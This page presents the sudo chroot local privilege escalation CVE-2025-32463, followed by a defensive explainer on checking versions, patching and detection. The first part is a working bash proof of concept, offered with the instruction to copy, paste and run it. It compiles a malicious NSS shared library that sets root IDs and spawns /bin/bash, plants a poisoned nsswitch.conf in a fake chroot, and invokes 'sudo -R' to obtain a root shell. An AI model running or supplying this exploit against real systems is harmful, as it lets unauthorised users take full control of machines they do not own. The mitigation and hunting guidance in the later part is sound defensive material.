Sudo chroot 1.9.17 - Local Privilege Escalation

Exploit Author: Stratascale Analysis Author: www.bubbleslearn.ir Category: Local Language: Shell Published Date: 2025-07-08 
Exploit Title: Sudo chroot 1.9.17 - Local Privilege Escalation
Google Dork: not aplicable
Date: Mon, 30 Jun 2025
Exploit Author: Stratascale
Vendor Homepage:https://salsa.debian.org/sudo-team/sudo
Software Link:
Version: Sudo versions 1.9.14 to 1.9.17 inclusive
Tested on: Kali Rolling 2025-7-3
CVE : CVE-2025-32463

*Version running today in Kali:*
https://pkg.kali.org/news/640802/sudo-1916p2-2-imported-into-kali-rolling/

*Background*

An attacker can leverage sudo's -R (--chroot) option to run
arbitrary commands as root, even if they are not listed in the
sudoers file.

Sudo versions affected:

    Sudo versions 1.9.14 to 1.9.17 inclusive are affected.

CVE ID:

    This vulnerability has been assigned CVE-2025-32463 in the
    Common Vulnerabilities and Exposures database.

Details:

    Sudo's -R (--chroot) option is intended to allow the user to
    run a command with a user-selected root directory if the sudoers
    file allows it.  A change was made in sudo 1.9.14 to resolve
    paths via chroot() using the user-specified root directory while
    the sudoers file was still being evaluated.  It is possible for
    an attacker to trick sudo into loading an arbitrary shared
    library by creating an /etc/nsswitch.conf file under the
    user-specified root directory.

    The change from sudo 1.9.14 has been reverted in sudo 1.9.17p1
    and the chroot feature has been marked as deprecated.  It will
    be removed entirely in a future sudo release.  Because of the
    way sudo resolves commands, supporting a user-specified chroot
    directory is error-prone and this feature does not appear to
    be widely used.

    A more detailed description of the bug and its effects can be
    found in the Stratascale advisory:
    https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot

Impact:

    On systems that support /etc/nsswitch.conf a user may be able
    to run arbitrary commands as root.

*Exploit:*

*Verify the sudo version running: sudo --versionIf is vulnerable, copy and
paste the following code and run it.*
*----------------------*
#!/bin/bash
# sudo-chwoot.sh – PoC CVE-2025-32463
set -e

STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd "$STAGE"

# 1. NSS library
cat > woot1337.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor))
void woot(void) {
    setreuid(0,0);          /* change to UID 0 */    setregid(0,0);          /* change  to GID 0 */    chdir("/");             /* exit from chroot */    execl("/bin/bash","/bin/bash",NULL); /* root shell */}
EOF

# 2. Mini chroot with toxic nsswitch.conf
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc            # make getgrnam() not fail

# 3. compile libnss_
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

echo "[*] Running exploit…"
sudo -R woot woot                 # (-R <dir> <cmd>)
                                   # • the first “woot” is chroot
                                   # • the second “woot” is and inexistent
command
                                   #   (only needs resolve the user)

rm -rf "$STAGE"
*----------------------*


Sudo chroot (CVE-2025-32463): what happened and why it matters

CVE-2025-32463 is a local privilege escalation vulnerability that affects sudo releases that added support for a user-specified chroot directory. The flaw allows an unprivileged user to cause sudo to load attacker-controlled shared libraries during sudoers evaluation, which can result in arbitrary code execution as root on vulnerable systems.

High-level summary

  • Affected versions: sudo 1.9.14 through 1.9.17 (inclusive).
  • Root cause: interaction between sudo’s optional chroot support and name service (NSS) configuration allowed an attacker-controlled chroot to influence how shared libraries were resolved while sudo was still evaluating sudoers.
  • Impact: local users with any ability to run sudo (even if they are not authorized to run privileged commands) could escalate to root by tricking sudo to load a malicious NSS module.
  • CVE: CVE-2025-32463.
  • Advisory and research: Stratascale advisory (public writeup) and vendor fixes in downstream packages/patches.

Technical details (conceptual, non-exploitative)

Sudo added an option to run a command from a user-selected chroot directory. To support that, a code path attempted to resolve filesystem paths using the user-supplied chroot early in sudoers evaluation. When path resolution and name-service operations ran with the chroot in effect, NSS (the name service switch: routines that implement user/group/host lookups) could be influenced by files inside the chroot (for example, an /etc/nsswitch.conf). NSS modules are dynamically loaded shared libraries. On affected releases sudo could be tricked into loading a library from inside the attacker-controlled chroot while still executing privileged logic, creating an opportunity to run attacker code as root.

This is fundamentally a design/ordering issue: resolving user-specified chroot paths while evaluating sudoers can change runtime library load paths and permit untrusted inputs to influence code that runs with elevated privileges.

Impact and risk model

On systems that use NSS (most modern Linux distributions) and that have an affected sudo version installed, unprivileged local users who can invoke sudo at all (even if they are not permitted to run the target commands) may be able to escalate to root. The exploit path requires a writable, attacker-controlled directory that sudo can be instructed to use as the chroot; the window of exploitation depends on how sudo resolves sudoers and NSS configuration.

Who should be concerned

  • Any system with sudo in the affected version range.
  • Multi-user systems and servers where untrusted users have shell access.
  • Environments that allow users to create and own directories under /tmp or other filesystem paths that could be specified as a chroot root.

How to check whether your system is affected

Start by checking the sudo package version and the vendor security advisories for your distribution. The simplest safe checks are:

sudo --version
dpkg -s sudo      # Debian/Ubuntu; or use rpm -q sudo on RPM-based distros
apt policy sudo   # Debian/Ubuntu to see available upgrades

Explanation: these commands report the installed sudo version and whether a newer package is available from your distribution. If your version is within the 1.9.14–1.9.17 range, treat the system as potentially vulnerable until patched.

You can also search sudoers for unusual or explicit use of chroot-related configuration (safe, read-only checks):

grep -n --color=never -R "chroot" /etc/sudoers /etc/sudoers.d 2>/dev/null || true

Explanation: this command looks for references to “chroot” in sudoers files. The presence or absence of such text is not definitive for vulnerability status, but it can help identify configurations that explicitly reference chroot features.

Mitigation and remediation (recommended)

  • Apply vendor updates immediately. The primary, recommended remediation is to update sudo to a fixed release provided by your OS vendor or to apply the vendor-supplied patch. Check your distribution’s security advisories and package repositories for the corrected package.
  • Temporarily restrict sudo access. If you cannot patch immediately, limit which users are allowed to run sudo by tightening sudoers policies and removing unnecessary sudo access for non-admin accounts.
  • Audit usage and monitor logs. Increase monitoring of sudo logs and local authentication logs for unexpected uses of sudo and suspicious activity.
  • Avoid risky workarounds that break the system. Do not remove sudo or change file ownership/permissions of sudo binaries in ways that you do not fully understand: such actions can lock out administrative access. Prefer vendor-recommended mitigations.

Package update examples

On Debian/Ubuntu-based systems, update using package management:

sudo apt update
sudo apt install --only-upgrade sudo

Explanation: this safely upgrades the installed sudo package to the latest version available from your configured repositories. Use your distribution’s normal package management tooling on RHEL/Fedora/SUSE (yum/dnf/zypper) as appropriate.

Detection and hunting guidance

Since the vulnerability relies on sudo loading unexpected shared libraries, detection focuses on anomalous uses of sudo and unexpected library loads or processes running with elevated privileges that cannot be explained.

  • Search logs for sudo usage patterns with unusual flags (e.g., invocations of -R) and for unexpected failures during sudoers parsing.
  • Inspect system processes for binaries running as root that were not launched by expected services (look at process start times, parent processes, and creation paths).
  • Use EDR/host-based instrumentation to detect loading of shared libraries from unusual locations (/tmp, user-writable directories).
  • Hunt for suspicious files such as unexpected /etc/nsswitch.conf files inside user-owned directories or chroot-like directory trees.

Safe testing and responsible disclosure

If you want to validate whether a patch stops the behavior, do so only in a controlled test environment (isolated lab, VM or container). Do not attempt to reproduce exploits on production systems or systems you do not own. Reproducing exploitation steps that load arbitrary shared libraries and escalate to root is dangerous and may be unlawful if performed on systems without authorization.

If you discover a vulnerable system in an organization you do not own, follow responsible disclosure procedures: notify the system owner or vendor and avoid public posting of exploit code that would enable abuse.

Why this class of bug keeps recurring

Mixing untrusted inputs with privileged code paths is inherently risky. Features that accept user-supplied directory roots (such as chroot) require extreme care because they change path resolution semantics and can influence runtime dynamic linking and configuration lookups (NSS, ld.so, etc.). Sudo’s maintainers have deprecated and removed the feature in later work because reliably supporting an arbitrary user-specified chroot while protecting privileged evaluation proved error-prone.

References and further reading

  • Vendor / source tree: https://salsa.debian.org/sudo-team/sudo
  • Stratascale advisory and technical writeup (detailed analysis): https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot
  • Distribution security advisories — check your OS vendor for the specific patched package and CVE guidance.

Key takeaways

  • Upgrade sudo on affected systems to the vendor-provided patched version as the primary mitigation.
  • Do not run exploit PoCs or reproduce the vulnerability on production systems; test only in isolated environments with explicit authorization.
  • Audit sudo access and monitor for suspicious activity until all systems are patched.